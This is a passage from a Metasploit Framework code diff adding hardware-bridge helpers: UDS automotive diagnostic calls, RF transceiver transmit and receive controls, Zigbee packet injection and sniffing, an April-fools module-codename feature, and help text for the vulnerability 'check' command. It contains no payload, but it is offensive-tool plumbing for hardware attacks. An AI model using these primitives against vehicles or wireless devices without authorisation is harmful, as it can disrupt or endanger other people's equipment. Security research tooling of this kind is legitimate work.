[0x27] + id + data, opt) end ### Mode $31 ### @@ -767,38 +827,38 @@ module UDS # manufacturer. # # @param bus [String] unique CAN bus identifier - # @param srcId [Integer] Integer representation of the Sending CAN ID - # @param dstId [Integer] Integer representation of the receiving CAN ID + # @param src_id [Integer] Integer representation of the Sending CAN ID + # @param dst_id [Integer] Integer representation of the receiving CAN ID # @param routine_type [Integer] Type or routine request. Example: 1 = Start, 3 = Report # param id [Array] 2 byte Array for the routine identifier # @param data [Array] Array of routine data/params. Specific to the routine. Optional, Default [] # @param opt [Hash] Additional options to be passed to automotive.send_isotp_and_wait_for_response # # @return [Hash] Packet hash from client.automotive - def routine_control(bus, srcId, dstId, routine_type, id, data=[], opt={}) - if not client.automotive + def routine_control(bus, src_id, dst_id, routine_type, id, data = [], opt = {}) + unless client.automotive print_error("Not an automotive hwbridge session") return {} end - if not id.is_a? Array + unless id.is_a? Array print_error("ID must be an array of hex values") return {} end - if not data.is_a? Array + unless data.is_a? Array print_error("DATA must be an array of hex values") return {} end - srcId = srcId.to_s(16) - dstId = dstId.to_s(16) + src_id = src_id.to_s(16) + dst_id = dst_id.to_s(16) routine_type = routine_type.to_s(16) id.map! { |i| i.to_s(16) } if id[0].is_a? Integer - data.map! { |d| d.to_s(16) } if data.size > 0 and data[0].is_a? Integer - bus = client.automotive.active_bus if not bus - if not bus + data.map! { |d| d.to_s(16) } if !data.empty? && (data[0].is_a? Integer) + bus = client.automotive.active_bus unless bus + unless bus print_line("No active bus, use 'connect' or specify bus via the options") return {} end - client.automotive.send_isotp_and_wait_for_response(bus,srcId, dstId, [0x31, routine_type] + id + data, opt) + client.automotive.send_isotp_and_wait_for_response(bus, src_id, dst_id, [0x31, routine_type] + id + data, opt) end ### Mode $3E ### @@ -809,28 +869,28 @@ module UDS # intervals # # @param bus [String] unique CAN bus identifier - # @param srcId [Integer] Integer representation of the Sending CAN ID - # @param dstId [Integer] Integer representation of the receiving CAN ID + # @param src_id [Integer] Integer representation of the Sending CAN ID + # @param dst_id [Integer] Integer representation of the receiving CAN ID # @param suppress_response [Boolean] By default suppress ACK from ECU. Set to false if you want confirmation # # @return [Hash] Packet hash from client.automotive. Typically blank unless suppress_response is false - def send_tester_present(bus, srcId, dstId, suppress_response=true) - if not client.automotive + def send_tester_present(bus, src_id, dst_id, suppress_response = true) + unless client.automotive print_error("Not an automotive hwbridge session") return {} end - srcId = srcId.to_s(16) - dstId = dstId.to_s(16) - bus = client.automotive.active_bus if not bus - if not bus + src_id = src_id.to_s(16) + dst_id = dst_id.to_s(16) + bus = client.automotive.active_bus unless bus + unless bus print_line("No active bus, use 'connect' or specify bus via the options") return {} end suppress = 0x80 - suppress = 0 if not suppress_reponse - opt={} + suppress = 0 unless suppress_response + opt = {} opt["MAXPKTS"] = 1 - client.automotive.send_isotp_and_wait_for_response(bus,srcId, dstId, [0x3E, suppress], opt) + client.automotive.send_isotp_and_wait_for_response(bus, src_id, dst_id, [0x3E, suppress], opt) end end diff --git a/lib/msf/core/post/hardware/rftransceiver/rftransceiver.rb b/lib/msf/core/post/hardware/rftransceiver/rftransceiver.rb new file mode 100644 index 0000000000..5ecb336ec3 --- /dev/null +++ b/lib/msf/core/post/hardware/rftransceiver/rftransceiver.rb @@ -0,0 +1,297 @@ +# -*- coding: binary -*- +module Msf +class Post +module Hardware +module RFTransceiver + +module RFTransceiver + + attr_accessor :index + + # Validates success of a function call + # @param r [Hash] A hash in expected format { "success" => true } + # @return [Boolean] if success is true or not, returns false if hash is wrong + def return_success(r) + return false unless r + return false unless r.has_key?('success') + return r['success'] + end + + # Checks to see if this module is a RF Transceiver module + # @return [Boolean] true if client.rftransceiver is loaded + def is_rf? + return true if client.rftransceiver + print_error("Not an RFTransceiver module") + return false + end + + # Returns a list of supported USB indexes by relay + # @return [Array] Example: [ 0, 1 ] + def get_supported_indexes + return [] unless is_rf? + r = client.rftransceiver.supported_idx + return r['indexes'] if r.has_key?('indexes') + print_error("Invalid response from relay") + return [] + end + + # + # Sets the target USB index + # @param idx [Integer] + def set_index(idx) + self.index = idx + end + + # + # Sets the frequency + # @param freq [Integer] Example: 433000000 + # @param mhz [Integer] Optional Mhz + # @return [Boolean] success value + def set_freq(freq, mhz=-1) + return false unless is_rf? + self.index ||= 0 + opts = {} + opts['mhz'] = mhz unless mhz == -1 + r = client.rftransceiver.set_freq(self.index, freq, opts) + return_success(r) + end + + # + # Sets the mode TX, RX or Idle + # @param mode [String] Mode type TX/RX/IDLE + # @return [Boolean] success value + def set_mode(mode) + return false unless is_rf? + self.index ||= 0 + r = client.rftransceiver.set_mode(self.index, mode) + return_success(r) + end + + # + # Gets supported modulations + # @return [Array] String list of modulations + def get_modulations + return [] unless is_rf? + self.index ||= 0 + return client.rftransceiver.get_supported_modulations(self.index) + end + + # + # Sets the modulation + # @param mod [String] Example ASK/OOK + # @return [Boolean] success value + def set_modulation(mod) + return false unless is_rf? + self.index ||= 0 + r = client.rftransceiver.set_modulation(self.index, mod) + return_success(r) + end + + # + # Sets packet's fixed length + # @param len [Integer] Length of packet + # @return [Boolean] success value + def set_flen(len) + return false unless is_rf? + self.index ||= 0 + r = client.rftransceiver.make_pkt_flen(self.index, len) + return_success(r) + end + + # + # Sets packet's variable length + # @param len [Integer] Length of packet + # @return [Boolean] success value + def set_vlen(len) + return false unless is_rf? + self.index ||= 0 + r = client.rftransceiver.make_pkt_vlen(self.index, len) + return_success(r) + end + + # + # Transmits a RF Packet. All data is base64 encoded before transmition to relay + # @param data [String] Blog of data stored in a string. Could be binary + # @param repeat [Integer] Optional Repeat transmission + # @param offset [Integer] Optional Offset within data section + # @return [Boolean] success value + def rfxmit(data, repeat=-1, offset=-1) + return false unless is_rf? + self.index ||= 0 + opts = {} + opts['repeat'] = repeat unless repeat == -1 + opts['offset'] = offset unless offset == -1 + r = client.rftransceiver.rfxmit(self.index, data, opts) + return_success(r) + end + + # + # Receive a packet + # @param timeout [Integer] Optional timeout value + # @param blocksize [Integer] Optional blocksize + # @return [String] Base64 decoded data, could be binary + def rfrecv(timeout = -1, blocksize = -1) + return '' unless is_rf? + self.index ||= 0 + opts = {} + opts['timeout'] = timeout unless timeout == -1 + opts['blocksize'] = blocksize unless blocksize == -1 + client.rftransceiver.rfrecv(self.index, opts) + end + + # + # Enable packet CRC + # @return [Boolean] success value + def enable_crc + return false unless is_rf? + self.index ||= 0 + r = client.rftransceiver.enable_packet_crc(self.index) + return_success(r) + end + + # + # Enable Manchester encoding + # @return [Boolean] success value + def enable_manchester + return false unless is_rf? + self.index ||= 0 + r = client.rftransceiver.enable_manchester(self.index) + return_success(r) + end + + # + # Sets the channel + # @param channel [Integer] Channel number + # @return [Boolean] success value + def set_channel(channel) + return false unless is_rf? + self.index ||= 0 + r = client.rftransceiver.set_channel(self.index, channel) + return_success(r) + end + + # + # Sets the channel bandwidth + # @param bandwidth [Integer] Bandwidth value + # @param mhz [Integer] Mhz + # @return [Boolean] success value + def set_channel_bw(bandwidth, mhz=-1) + return false unless is_rf? + self.index ||= 0 + opts = {} + opts['mhz'] = mhz unless mhz == -1 + r = client.rftransceiver.set_channel_bandwidth(self.index, bandwidth, opts) + return_success(r) + end + + # + # Calculates the appropriate exponent and mantissa and updates the correct registers + # chanspc is in kHz. if you prefer, you may set the chanspc_m and chanspc_e settings directly. + # only use one or the other: + # * chanspc + # * chanspc_m and chanspc_e + # @param chanspc [Integer] + # @param chanspc_m [Integer] + # @param chanspc_e [Integer] + # @param mhz [Integer] Mhz + # @return [Boolean] success value + def set_channel_spc(chanspc = -1, chanspc_m = -1, chanspc_e = -1, mhz=-1) + return false unless is_rf? + self.index ||= 0 + opts = {} + opts['chanspc'] = chanspc unless chanspc == -1 + opts['chanspc_m'] = chanspc_m unless chanspc_m == -1 + opts['chanspc_e'] = chanspc_e unless chanspc_e == -1 + opts['mhz'] = mhz unless mhz == -1 + r = client.rftransceiver.set_channel_spc(self.index, opts) + return_success(r) + end + + # + # Sets the baud rate + # @param baud [Integer] baud rate + # @param mhz [Integer] Optional Mhz + # @return [Boolean] success value + def set_baud(baud, mhz=-1) + return false unless is_rf? + self.index ||= 0 + opts = {} + opts['mhz'] = mhz unless mhz == -1 + r = client.rftransceiver.set_baud_rate(self.index, baud, opts) + return_success(r) + end + + # + # Sets the deviation + # @param deviat [Integer] deviat value + # @param mhz [Integer] Optional mhz + # @return [Boolean] success value + def set_deviation(deviat, mhz=-1) + return false unless is_rf? + self.index ||= 0 + opts = {} + opts['mhz'] = mhz unless mhz == -1 + r = client.rftransceiver.set_deviation(self.index, deviat, opts) + return_success(r) + end + + # + # Sets sync word + # @param word [Integer] Sync word + # @return [Boolean] success value + def set_sync_word(word) + return false unless is_rf? + self.index ||= 0 + r = client.rftransceiver.set_sync_word(self.index, word) + return_success(r) + end + + # + # Sets the sync mode + # @param mode [Integer] Mode + # @return [Boolean] success value + def set_sync_mode(mode) + return false unless is_rf? + self.index ||= 0 + r = client.rftransceiver.set_sync_mode(self.index, mode) + return_success(r) + end + + # + # Sets the number of preamble bits + # @param bits [Integer] number of preamble bits to use + # @return [Boolean] success value + def set_preamble(bits) + return false unless is_rf? + self.index ||= 0 + r = client.rftransceiver.set_number_preamble(self.index, bits) + return_success(r) + end + + # + # Sets the power to max. Ensure you set the frequency first before using this + # @return [Boolean] success value + def max_power + return false unless is_rf? + self.index ||= 0 + r = client.rftransceiver.set_maxpower(self.index) + return_success(r) + end + + # + # Set power level + # @param level [Integer] Power level + # @return [Boolean] success value + def set_power(level) + return false unless is_rf? + self.index ||= 0 + r = client.rftransceiver.set_power(self.index, level) + return_success(r) + end +end + +end +end +end +end + diff --git a/lib/msf/core/post/hardware/zigbee/utils.rb b/lib/msf/core/post/hardware/zigbee/utils.rb new file mode 100644 index 0000000000..d5a59dd0cb --- /dev/null +++ b/lib/msf/core/post/hardware/zigbee/utils.rb @@ -0,0 +1,255 @@ +# -*- coding: binary -*- +module Msf +class Post +module Hardware +module Zigbee + +module Utils + + ## Constants for packet decoding fields + # Frame Control Field + DOT154_FCF_TYPE_MASK = 0x0007 #: Frame type mask + DOT154_FCF_SEC_EN = 0x0008 #: Set for encrypted payload + DOT154_FCF_FRAME_PND = 0x0010 #: Frame pending + DOT154_FCF_ACK_REQ = 0x0020 #: ACK request + DOT154_FCF_INTRA_PAN = 0x0040 #: Intra-PAN activity + DOT154_FCF_DADDR_MASK = 0x0C00 #: Destination addressing mode mask + DOT154_FCF_VERSION_MASK = 0x3000 #: Frame version + DOT154_FCF_SADDR_MASK = 0xC000 #: Source addressing mask mode + + # Frame Control Field Bit Shifts + DOT154_FCF_TYPE_MASK_SHIFT = 0 #: Frame type mask mode shift + DOT154_FCF_DADDR_MASK_SHIFT = 10 #: Destination addressing mode mask + DOT154_FCF_VERSION_MASK_SHIFT = 12 #: Frame versions mask mode shift + DOT154_FCF_SADDR_MASK_SHIFT = 14 #: Source addressing mask mode shift + + # Address Mode Definitions + DOT154_FCF_ADDR_NONE = 0x0000 #: Not sure when this is used + DOT154_FCF_ADDR_SHORT = 0x0002 #: 4-byte addressing + DOT154_FCF_ADDR_EXT = 0x0003 #: 8-byte addressing + + DOT154_FCF_TYPE_BEACON = 0 #: Beacon frame + DOT154_FCF_TYPE_DATA = 1 #: Data frame + DOT154_FCF_TYPE_ACK = 2 #: Acknowledgement frame + DOT154_FCF_TYPE_MACCMD = 3 #: MAC Command frame + + DOT154_CRYPT_NONE = 0x00 #: No encryption, no MIC + DOT154_CRYPT_MIC32 = 0x01 #: No encryption, 32-bit MIC + DOT154_CRYPT_MIC64 = 0x02 #: No encryption, 64-bit MIC + DOT154_CRYPT_MIC128 = 0x03 #: No encryption, 128-bit MIC + DOT154_CRYPT_ENC = 0x04 #: Encryption, no MIC + DOT154_CRYPT_ENC_MIC32 = 0x05 #: Encryption, 32-bit MIC + DOT154_CRYPT_ENC_MIC64 = 0x06 #: Encryption, 64-bit MIC + DOT154_CRYPT_ENC_MIC128 = 0x07 #: Encryption, 128-bit MIC + + # Infer if the current session is for a ZigBee device. + # @return [Boolean] true if session is for a ZigBee device, false otherwise + def is_zigbee_hwbridge_session? + return true if client.zigbee + print_error("Not a ZigBee hwbridge session") + false + end + + # Verify if a device has been specified. + # @return [Boolean] true if device is specified, false otherwise + def verify_device(device) + return true if device + print_line("No target device set, use 'target' or specify bus via the options.") + false + end + + # Retrieves the target Zigbee device. This is typically set by the user via the + # interactive HWBridge command line + # @return [String] Zigbee device ID + def get_target_device + return unless is_zigbee_hwbridge_session? + return client.zigbee.get_target_device + end + + # Sets the target default Zigbee Device. This command typically isn't called via a script + # Instead the user is expected to set this via the interactive HWBridge commandline + # @param device [String] Zigbee device ID + def set_target_device(device) + return unless is_zigbee_hwbridge_session? + client.zigbee.set_target_device device + end + + # Sets the Zigbee Channel + # @param device [String] Zigbee device ID + # @param channel [Integer] Channel number, typically 11-25 + def set_channel(device, channel) + return {} unless is_zigbee_hwbridge_session? + device = client.zigbee.target_device unless device + return {} unless verify_device(device) + client.zigbee.set_channel(device, channel) + end + + # Inject raw packets. Need firmware on the zigbee device that supports transmission. + # @param device [String] Zigbee device ID + # @param data [String] Raw binary data sent as a string + def inject(device, data) + return {} unless is_zigbee_hwbridge_session? + device = client.zigbee.target_device unless device + return {} unless verify_device(device) + client.zigbee.inject(device, data) + end + + # Recieves data from the Zigbee device + # @param device [String] Zigbee device ID + # @return [String] Binary blob of returned data + def recv(device) + return {} unless is_zigbee_hwbridge_session? + device = client.zigbee.target_device unless device + return {} unless verify_device(device) + client.zigbee.recv(device) + end + + # Turn off Zigbee receiving + # @param device [String] Zigbee device ID + def sniffer_off(device) + return {} unless is_zigbee_hwbridge_session? + device = client.zigbee.target_device unless device + return {} unless verify_device(device) + client.zigbee.sniffer_off(device) + end + + # Turn on Zigbee receiving + # @param device [String] Zigbee device ID + def sniffer_on(device) + return {} unless is_zigbee_hwbridge_session? + device = client.zigbee.target_device unless device + return {} unless verify_device(device) + client.zigbee.sniffer_on(device) + end + + # Breaks up the packet into different sections. Also provides + # Some decoding information. This method relates to Killerbee's Pktchop method and + # Returns a similar array structure PktChop. If it's a beacon data you will also have + # A BEACONDATA array of raw beacon related packets. You can pull other decoded portions from + # the returned hash such as + # FSF + # SEQ + # SPAN_ID + # SOURCE + # SUPERFRAME + # GTS + # PENDING_ADDRESS_COUNT + # PROTOCOL_ID + # STACK_PROFILE + # CAPABILITY + # EXT_PAN_ID + # TX_OFFSET + # UPDATE_ID + # @param packet [String] Raw data from recv + # @return [Hash] { PktChop => [Array of data], .. + def dot154_packet_decode(packet) + result = {} + offset = 0 + pktchop = ['', '', '', '', '', '', [], ''] + pktchop[0] = packet[0,2] + # Sequence number + pktchop[1] = packet[2] + # Byte swap + fcf = pktchop[0].reverse.unpack("H*")[0].hex + result["FSF"] = fcf + result["SEQ"] = pktchop[1] + # Check if we are dealing with a beacon frame + if (fcf & DOT154_FCF_TYPE_MASK) == DOT154_FCF_TYPE_BEACON + beacondata = ["", "", "", "", "", "", "", "", "", ""] + # 802.15.4 fields, SPAN and SA + pktchop[4] = packet[3,2] + pktchop[5] = packet[5,2] + result["SPAN_ID"] = pktchop[4].reverse.unpack("H*")[0] + result["SOURCE"] = pktchop[5].reverse.unpack("H*")[0] + offset = 7 + + # Superframe specification + beacondata[0] = packet[offset,2] + result["SUPERFRAME"] = beacondata[0] + offset+=2 + + # GTS data + beacondata[1] = packet[offset] + result["GTS"] = beacondata[1] + offset+=1 + + # Pending address count + beacondata[2] = packet[offset] + result["PENDING_ADDRESS_COUNT"] = beacondata[2] + offset+=1 + + # Protocol ID + beacondata[3] = packet[offset] + result["PROTOCOL_ID"] = beacondata[3] + offset+=1 + + # Stack Profile version + beacondata[4] = packet[offset] + result["STACK_PROFILE"] = beacondata[4] + offset+=1 + + # Capability information + beacondata[5] = packet[offset] + result["CAPABILITY"] = beacondata[5] + offset+=1 + + # Extended PAN ID + beacondata[6] = packet[offset,8] + result["EXT_PAN_ID"] = beacondata[6].reverse.unpack("H*")[0] + offset+=8 + + # TX Offset + beacondata[7] = packet[offset,3] + result["TX_OFFSET"] = beacondata[7] + offset+=3 + + # Update ID + beacondata[8] = packet[offset] + result["UPDATE_ID"] = beacondata[8] + offset+=1 + pktchop[6] = beacondata + result["BEACONDATA"] = beacondata + else + # Not a beacon frame + + # DPAN + pktchop[2] = packet[3,2] + offset = 5 + + # Examine the destination addressing mode + daddr_mask = (fcf & DOT154_FCF_DADDR_MASK) >> 10 + if daddr_mask == DOT154_FCF_ADDR_EXT + pktchop[3] = packet[offset,8] + offset+=8 + elsif daddr_mask == DOT154_FCF_ADDR_SHORT + pktchop[3] = packet[offset,2] + offset+=2 + end + + # Examine the Intra-PAN flag + if (fcf & DOT154_FCF_INTRA_PAN) == 0 + pktchop[4] = packet[offset,2] + offset+=2 + end + + # Examine the source addressing mode + saddr_mask = (fcf & DOT154_FCF_SADDR_MASK) >> 14 + if daddr_mask == DOT154_FCF_ADDR_EXT + pktchop[5] = packet[offset,8] + offset+=8 + elsif daddr_mask == DOT154_FCF_ADDR_SHORT + pktchop[5] = packet[offset,2] + offset+=2 + end + end + # Append remaining payload + pktchop[7] = packet[offset,packet.size] if offset < packet.size + result["PktChop"] = pktchop + return result + end +end + +end +end +end +end diff --git a/lib/msf/ui/console/command_dispatcher/modules.rb b/lib/msf/ui/console/command_dispatcher/modules.rb index 45b85f95e7..09ac5b9233 100644 --- a/lib/msf/ui/console/command_dispatcher/modules.rb +++ b/lib/msf/ui/console/command_dispatcher/modules.rb @@ -52,6 +52,7 @@ module Msf @cache_payloads = nil @previous_module = nil @module_name_stack = [] + @dangerzone_map = nil end # @@ -595,6 +596,9 @@ module Msf return false end + # Divert logic for dangerzone mode + args = dangerzone_codename_to_module(args) + # Try to create an instance of the supplied module name mod_name = args[0] @@ -873,9 +877,86 @@ module Msf end end + return dangerzone_modules_to_codenames(res.sort) if dangerzone_active? return res.sort end + # + # Convert squirrel names back to regular module names + # + def dangerzone_codename_to_module(args) + return args unless dangerzone_active? && args.length > 0 && args[0].length > 0 + return args unless args[0] =~ /^[A-Z]/ + args[0] = dangerzone_codename_to_module_name(args[0]) + args + end + + # + # Determine if dangerzone mode is active via date or environment variable + # + def dangerzone_active? + active = Time.now.strftime("%m%d") == "0401" || Rex::Compat.getenv('DANGERZONE').to_i > 0 + if active && @dangerzone_map.nil? + dangerzone_build_map + end + active + end + + # + # Convert module names to squirrel names + # + def dangerzone_modules_to_codenames(names) + (names + @dangerzone_map.keys.grep(/^[A-Z]+/)).sort + end + + def dangerzone_codename_to_module_name(cname) + @dangerzone_map[cname] || cname + end + + def dangerzone_module_name_to_codename(mname) + @dangerzone_map[mname] || mname + end + + def dangerzone_build_map + return unless @dangerzone_map.nil? + + @dangerzone_map = {} + + res = [] + %W{exploit auxiliary}.each do |mtyp| + mset = framework.modules.module_names(mtyp) + mset.each do |mref| + res << mtyp + '/' + mref + end + end + + words_a = ::File.readlines(::File.join( + ::Msf::Config.data_directory, "wordlists", "dangerzone_a.txt" + )).map{|line| line.strip.upcase} + + words_b = ::File.readlines(::File.join( + ::Msf::Config.data_directory, "wordlists", "dangerzone_b.txt" + )).map{|line| line.strip.upcase} + + aidx = -1 + bidx = -1 + + res.sort.each do |mname| + word_a = words_a[ (aidx += 1) % words_a.length ] + word_b = words_b[ (bidx += 1) % words_b.length ] + cname = word_a + word_b + + while @dangerzone_map[cname] + aidx += 1 + word_a = words_a[ (aidx += 1) % words_a.length ] + cname = word_a + word_b + end + + @dangerzone_map[mname] = cname + @dangerzone_map[cname] = mname + end + end + # # Module list enumeration # diff --git a/lib/msf/ui/console/module_command_dispatcher.rb b/lib/msf/ui/console/module_command_dispatcher.rb index 46a80ba9e3..908f13916b 100644 --- a/lib/msf/ui/console/module_command_dispatcher.rb +++ b/lib/msf/ui/console/module_command_dispatcher.rb @@ -122,6 +122,11 @@ module ModuleCommandDispatcher # Checks to see if a target is vulnerable. # def cmd_check(*args) + if args.first =~ /^\-h$/i + cmd_check_help + return + end + ip_range_arg = args.shift || mod.datastore['RHOSTS'] || framework.datastore['RHOSTS'] || '' opt = Msf::OptAddressRange.new('RHOSTS') @@ -162,6 +167,32 @@ module ModuleCommandDispatcher end end + def cmd_check_help + print_line('Usage: check [option] [IP Range]') + print_line + print_line('Options:') + print_line('-h You are looking at it.') + print_line + print_line('Examples:') + print_line('') + print_line('Normally, if a RHOST is already specified, you can just run check.') + print_line('But here are different ways to use the command:') + print_line + print_line('Against a single host:') + print_line('check 192.168.1.123') + print_line + print_line('Against a range of IPs:') + print_line('check 192.168.1.1-192.168.1.254') + print_line + print_line('Against a range of IPs loaded from a file:') + print_line('check file:///tmp/ip_list.txt') + print_line + print_line('Multi-threaded checks:') + print_line('1. set THREADS 10') + print_line('2. check') + print_line + end + def report_vuln(instance) framework.db.report_vuln( workspace: instance.workspace, diff --git a/lib/rex/parser/arguments.rb b/lib/rex/parser/arguments.rb index 522883f2d5..b816762d64 100644 --- a/lib/rex/parser/arguments.rb +++ b/lib/rex/parser/arguments.rb @@ -1,108 +1,95 @@ # -*- coding: binary -*- +# frozen_string_literal: true require 'shellwords' module Rex -module Parser - -### -# -# This class parses arguments in a getopt style format, kind of. -# Unfortunately, the default ruby getopt implementation will only -# work on ARGV, so we can't use it. -# -### -class Arguments - - # - # Specifies that an option is expected to have an argument - # - HasArgument = (1 << 0) - - # - # Initializes the format list with an array of formats like: - # - # Arguments.new( - # '-b' => [ false, "some text" ] - # ) - # - def initialize(fmt) - self.fmt = fmt - # I think reduce is a better name for this method, but it doesn't exist - # before 1.8.7, so use the stupid inject instead. - self.longest = fmt.keys.inject(0) { |max, str| - max = ((max > str.length) ? max : str.length) - } - end - - # - # Takes a string and converts it into an array of arguments. - # - def self.from_s(str) - Shellwords.shellwords(str) - end - - # - # Parses the supplied arguments into a set of options. - # - def parse(args, &block) - skip_next = false - - args.each_with_index { |arg, idx| - if (skip_next == true) - skip_next = false - next + module Parser + ### + # + # This class parses arguments in a getopt style format, kind of. + # Unfortunately, the default ruby getopt implementation will only + # work on ARGV, so we can't use it. + # + ### + class Arguments + # + # Initializes the format list with an array of formats like: + # + # Arguments.new( + # '-b' => [ false, "some text" ] + # ) + # + def initialize(fmt) + self.fmt = fmt + self.longest = fmt.keys.max_by(&:length) end - if (arg.match(/^-/)) - cfs = arg[0..2] + # + # Takes a string and converts it into an array of arguments. + # + def self.from_s(str) + Shellwords.shellwords(str) + end - fmt.each_pair { |fmtspec, val| - next if (fmtspec != cfs) + # + # Parses the supplied arguments into a set of options. + # + def parse(args, &_block) + skip_next = false - param = nil - - if (val[0]) - param = args[idx+1] - skip_next = true + args.each_with_index do |arg, idx| + if skip_next + skip_next = false + next end - yield fmtspec, idx, param - } - else - yield nil, idx, arg + if arg[0] == '-' + cfs = arg[0..2] + + fmt.each_pair do |fmtspec, val| + next if fmtspec != cfs + + param = nil + + if val[0] + param = args[idx + 1] + skip_next = true + end + + yield fmtspec, idx, param + end + else + yield nil, idx, arg + end + end end - } + + # + # Returns usage information for this parsing context. + # + def usage + txt = ["\nOPTIONS:\n"] + + fmt.sort.each do |entry| + fmtspec, val = entry + opt = val[0] ? " " : " " + txt << " #{fmtspec.ljust(longest.length)}#{opt}#{val[1]}" + end + + txt << "" + txt.join("\n") + end + + def include?(search) + fmt.include?(search) + end + + def arg_required?(opt) + fmt[opt][0] if fmt[opt] + end + + attr_accessor :fmt # :nodoc: + attr_accessor :longest # :nodoc: + end end - - # - # Returns usage information for this parsing context. - # - def usage - txt = "\nOPTIONS:\n\n" - - fmt.sort.each { |entry| - fmtspec, val = entry - - txt << " #{fmtspec.ljust(longest)}" + ((val[0] == true) ? " " : " ") - txt << val[1] + "\n" - } - - txt << "\n" - - return txt - end - def include?(search) - return fmt.include?(search) - end - - def arg_required?(opt) - fmt[opt][0] if fmt[opt] - end - - attr_accessor :fmt # :nodoc: - attr_accessor :longest # :nodoc: - -end - -end end diff --git a/lib/rex/post/hwbridge/client.rb b/lib/rex/post/hwbridge/client.rb index ea6453499e..59e7d494f1 100644 --- a/lib/rex/post/hwbridge/client.rb +++ b/lib/rex/post/hwbridge/client.rb @@ -70,6 +70,21 @@ class Client send_request("/custom_methods") end + # + # Sends a reset signal to the device to perform a software bounce or a full + # factory reset. Depends on how the device decided to handle it. + # + def reset + send_request("/control/factory_reset") + end + + # + # Sends a reboot signal to reboot the device. + # + def reboot + send_request("/control/reboot") + end + ## # # Alias processor diff --git a/lib/rex/post/hwbridge/extensions/automotive/automotive.rb b/lib/rex/post/hwbridge/extensions/automotive/automotive.rb index ec9a5e1a95..b8d5e93d9e 100644 --- a/lib/rex/post/hwbridge/extensions/automotive/automotive.rb +++ b/lib/rex/post/hwbridge/extensions/automotive/automotive.rb @@ -37,11 +37,11 @@ class Automotive < Extension # @param bus [String] bus name # # @return [Boolean] return true if bus is valid - def is_valid_bus? bus + def is_valid_bus?(bus) valid = false - get_supported_buses if self.buses == nil - if not bus.blank? - self.buses.each do |b| + get_supported_buses if buses.nil? + unless bus.blank? + buses.each do |b| valid = true if b["bus_name"] == bus end end @@ -55,10 +55,10 @@ class Automotive < Extension # # @return [Hash] client.send_request response with "Error" if any exist def check_for_errors(data) - if data and data.has_key? "Packets" + if data && (data.key? "Packets") if data["Packets"].size == 1 - if data["Packets"][0]["DATA"].size > 3 and data["Packets"][0]["DATA"][1].hex == 0x7F - if ERR_MNEMONIC.has_key? data["Packets"][0]["DATA"][3].hex + if data["Packets"][0]["DATA"].size > 3 && data["Packets"][0]["DATA"][1].hex == 0x7F + if ERR_MNEMONIC.key? data["Packets"][0]["DATA"][3].hex err = data["Packets"][0]["DATA"][3].hex data["error"] = { ERR_MNEMONIC[err] => ERR_DESC[ERR_MNEMONIC[err]] } else @@ -78,7 +78,7 @@ class Automotive < Extension # @return [Array] Array of Hex string equivalents def array2hex(arr) # We give the flexibility of sending Integers or string hexes in the array - arr.map { |b| "%02x" % (b.respond_to?("hex") ? b.hex : b )} + arr.map { |b| "%02x" % (b.respond_to?("hex") ? b.hex : b ) } end def set_active_bus(bus) @@ -86,8 +86,8 @@ class Automotive < Extension end def get_supported_buses - self.buses = client.send_request("/automotive/supported_buses") - self.buses + buses = client.send_request("/automotive/supported_buses") + buses end def get_bus_config(bus) @@ -103,21 +103,23 @@ class Automotive < Extension client.send_request("/automotive/#{bus}/cansend?id=#{id}&data=#{data}") end - def send_isotp_and_wait_for_response(bus, srcId, dstId, data, opt={}) - # TODO Implement sending ISO-TP > 8 bytes + def send_isotp_and_wait_for_response(bus, src_id, dst_id, data, opt = {}) + # TODO: Implement sending ISO-TP > 8 bytes data = [ data ] if data.is_a? Integer if data.size < 8 data = array2hex(data).join - request_str = "/automotive/#{bus}/isotpsend_and_wait?srcid=#{srcId}&dstid=#{dstId}&data=#{data}" - request_str += "&timeout=#{opt["TIMEOUT"]}" if opt.has_key? "TIMEOUT" - request_str += "&maxpkts=#{opt["MAXPKTS"]}" if opt.has_key? "MAXPKTS" + request_str = "/automotive/#{bus}/isotpsend_and_wait?srcid=#{src_id}&dstid=#{dst_id}&data=#{data}" + request_str += "&timeout=#{opt['TIMEOUT']}" if opt.key? "TIMEOUT" + request_str += "&maxpkts=#{opt['MAXPKTS']}" if opt.key? "MAXPKTS" return check_for_errors(client.send_request(request_str)) end - return nil + nil end attr_reader :buses, :active_bus -private + + private + attr_writer :buses, :active_bus end diff --git a/lib/rex/post/hwbridge/extensions/automotive/uds_errors.rb b/lib/rex/post/hwbridge/extensions/automotive/uds_errors.rb index c19d8c8e5f..64a24ce8be 100644 --- a/lib/rex/post/hwbridge/extensions/automotive/uds_errors.rb +++ b/lib/rex/post/hwbridge/extensions/automotive/uds_errors.rb @@ -8,6 +8,7 @@ module Automotive module UDSErrors +# Negative Response Codes (NDC) ERR_MNEMONIC = { 0x10 => "GR", 0x11 => "SNS", @@ -54,7 +55,25 @@ ERR_MNEMONIC = { 0x73 => "WBSC", 0x78 => "RCRRP", 0x7E => "SFNSIAS", - 0x7F => "SNSIAS" + 0x7F => "SNSIAS", + 0x81 => "RTH", + 0x82 => "RTL", + 0x83 => "EIR", + 0x84 => "EINR", + 0x85 => "ERTTL", + 0x86 => "TTH", + 0x87 => "TTL", + 0x88 => "VSTH", + 0x89 => "VSTL", + 0x8A => "TPTH", + 0x8B => "TPTL", + 0x8C => "TRNIN", + 0x8D => "TRNIG", + 0x8F => "BSNC", + 0x90 => "SLNIP", + 0x91 => "TCCL", + 0x92 => "VTH", + 0x93 => "VTL" } ERR_DESC = { @@ -80,7 +99,25 @@ ERR_DESC = { "WBSC" => "Wrong Block Sequence Counter", "RCRRP" => "Request Correctly Received, but Response is Pending", "SFNSIAS" => "Sub-Function Not Supoorted In Active Session", - "SNSIAS" => "Service Not Supported In Active Session" + "SNSIAS" => "Service Not Supported In Active Session", + "RTH" => "RPM Too High", + "RTL" => "RPM Too Low", + "EIR" => "Engine is Running", + "EINR" => "Engine is not Running", + "ERTTL" => "Engine Run Time Too Low", + "TTH" => "Temperature Too High", + "TTL" => "Temperature Too Low", + "VSTH" => "Vehicle Speed Too High", + "VSTL" => "Vehicle Speed Too Low", + "TPTH" => "Throttle Pedal Too High", + "TPTL" => "Throttle Pedal Too Low", + "TRNIN" => "Transmission Range Not in Neutral", + "TRNIG" => "Transmission Range Not in Gear", + "BSNC" => "Brake Switch Not Closed", + "SLNIP" => "Shifter Lever Not In Park", + "TCCL" => "Torque Converter Clutch Locked", + "VTH" => "Voltage Too High", + "VTL" => "Voltage Too Low" } end diff --git a/lib/rex/post/hwbridge/extensions/rftransceiver/rftransceiver.rb 